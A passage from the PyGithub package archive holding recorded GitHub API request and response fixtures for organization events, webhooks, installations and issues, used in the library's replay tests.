"id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:47:21Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1526009425"},{"payload":{"ref":"a_tag","ref_type":"tag"},"type":"DeleteEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:47:15Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1526009414"},{"payload":{"push_id":65380594,"ref":"refs/heads/master","commits":[{"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":true}],"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:42:55Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526009059"},{"payload":{"push_id":65379432,"ref":"refs/heads/master","commits":[{"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":true}],"head":"2f51005d80353b3b82cc23908ea4fc7a91230e2f","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:11:55Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526006647"},{"payload":{"push_id":65379410,"ref":"refs/heads/master","commits":[{"sha":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was created by PyGithub","distinct":true}],"head":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3609352},"created_at":"2012-03-03T08:11:13Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1526006609"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3595643},"created_at":"2012-03-01T20:19:32Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1525404633"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3595636},"created_at":"2012-03-01T20:19:03Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1525404453"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3595613},"created_at":"2012-03-01T20:16:23Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1525403337"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3595586},"created_at":"2012-03-01T20:12:55Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1525402258"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":null},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3595253},"created_at":"2012-03-01T19:36:29Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1525387859"},{"payload":{"push_id":64666710,"ref":"refs/heads/master","commits":[{"sha":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9473baa2f243872c07c8f008e3d53aed6b5c9ac5","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was ter created by PyGithub","distinct":true}],"head":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3575047},"created_at":"2012-02-28T20:11:58Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1524541002"},{"payload":{"push_id":64259989,"ref":"refs/heads/master","commits":[{"sha":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was ter created by PyGithub"}],"head":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3553496},"created_at":"2012-02-26T17:28:36Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1523710410"},{"payload":{"push_id":64257074,"ref":"refs/heads/master","commits":[{"sha":"23395b2fa62293196bd8a640b14447c7b552c301","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/23395b2fa62293196bd8a640b14447c7b552c301","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was ter created by PyGithub"}],"head":"23395b2fa62293196bd8a640b14447c7b552c301","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3553240},"created_at":"2012-02-26T16:46:35Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1523704553"},{"payload":{"push_id":64171897,"ref":"refs/heads/master","commits":[{"sha":"daded682d3a64f70df2e5561783e7282a5cd80a9","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/daded682d3a64f70df2e5561783e7282a5cd80a9","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was ter created by PyGithub"}],"head":"daded682d3a64f70df2e5561783e7282a5cd80a9","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3545577},"created_at":"2012-02-25T16:10:21Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1523516455"},{"payload":{"push_id":64169946,"ref":"refs/heads/master","commits":[{"sha":"73b34d944187f282fa6049cd05b02432488b357b","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/73b34d944187f282fa6049cd05b02432488b357b","author":{"name":"BeaverSoftware","email":"BeaverSoftware@vincent-jacques.net"},"message":"This commit was ter created by PyGithub"}],"head":"73b34d944187f282fa6049cd05b02432488b357b","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3545372},"created_at":"2012-02-25T15:39:19Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1523512558"},{"payload":{"push_id":64169244,"ref":"refs/heads/master","commits":[{"sha":"9f2ec52ae9e166d6104834bd0a7f3f9550565100","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9f2ec52ae9e166d6104834bd0a7f3f9550565100","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"message":"foo"}],"head":"9f2ec52ae9e166d6104834bd0a7f3f9550565100","size":1},"type":"PushEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","name":"BeaverSoftware/TestPyGithub","id":3545295},"created_at":"2012-02-25T15:27:57Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1523511231"},{"payload":{"forkee":{"url":"https://api.github.com/repos/jacquev6/FatherBeaver","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"forks":0,"has_issues":false,"master_branch":null,"open_issues":0,"private":false,"name":"FatherBeaver","fork":true,"has_wiki":true,"mirror_url":null,"has_downloads":true,"ssh_url":"git@github.com:jacquev6/FatherBeaver.git","git_url":"git://github.com/jacquev6/FatherBeaver.git","html_url":"https://github.com/jacquev6/FatherBeaver","description":"","homepage":"","size":0,"watchers":1,"public":true,"svn_url":"https://github.com/jacquev6/FatherBeaver","language":null,"created_at":"2012-02-16T21:47:44Z","pushed_at":null,"id":3464364,"updated_at":"2012-02-16T21:47:44Z","clone_url":"https://github.com/jacquev6/FatherBeaver.git"}},"type":"ForkEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","name":"BeaverSoftware/FatherBeaver","id":3400397},"created_at":"2012-02-16T21:47:45Z","public":true,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":"1520524054"},{"payload":{"ref":null,"master_branch":"master","ref_type":"repository","description":""},"type":"CreateEvent","org":{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","name":"BeaverSoftware/FatherBeaver","id":3400397},"created_at":"2012-02-09T19:32:22Z","public":true,"actor":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","id":1424031},"id":"1518484373"}] https GET api.github.com None /orgs/BeaverSoftware/events?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="prev"'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 05:13:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetHook.txt0000644000175100001660000000140014756101563023615 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/hooks/257993 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-27T06:00:32Z","last_response":{"status":"ok","message":"OK","code":200},"events":["push"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetHookDeliveries.txt0000644000175100001660000000135314756101563025640 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/hooks/257993/deliveries {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetHookDelivery.txt0000644000175100001660000000163314756101563025331 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/hooks/257993/deliveries/12345 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetHooks.txt0000644000175100001660000000137314756101563024011 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T06:00:32Z","last_response":{"status":"ok","message":"OK","code":200},"events":["push"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetInstallations.txt0000644000175100001660000000374314756101563025555 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/installations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_count":1,"installations":[{"id":123456,"account":{"login":"rigaspapas","id":12345,"node_id":"MDQ6VXNlcjE3NzM2NTI=","avatar_url":"https://avatars1.githubusercontent.com/u/12345?v=4","gravatar_id":"","url":"https://api.github.com/users/rigaspapas","html_url":"https://github.com/rigaspapas","followers_url":"https://api.github.com/users/rigaspapas/followers","following_url":"https://api.github.com/users/rigaspapas/following{/other_user}","gists_url":"https://api.github.com/users/rigaspapas/gists{/gist_id}","starred_url":"https://api.github.com/users/rigaspapas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rigaspapas/subscriptions","organizations_url":"https://api.github.com/users/rigaspapas/orgs","repos_url":"https://api.github.com/users/rigaspapas/repos","events_url":"https://api.github.com/users/rigaspapas/events{/privacy}","received_events_url":"https://api.github.com/users/rigaspapas/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/installations/242638/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/123456","app_id":10101,"target_id":3344556,"target_type":"User","permissions":{"contents":"write","pull_requests":"write","administration":"read","metadata":"read","statuses":"read"},"events":["push"],"created_at":"2018-07-13T17:59:47.000+03:00","updated_at":"2018-07-13T17:59:47.000+03:00","single_file_name":null}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetIssues.txt0000644000175100001660000000153414756101563024200 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 11:50:06 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetIssuesWithAllArguments.txt0000644000175100001660000002354314756101563027357 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1496'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:50:33 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] 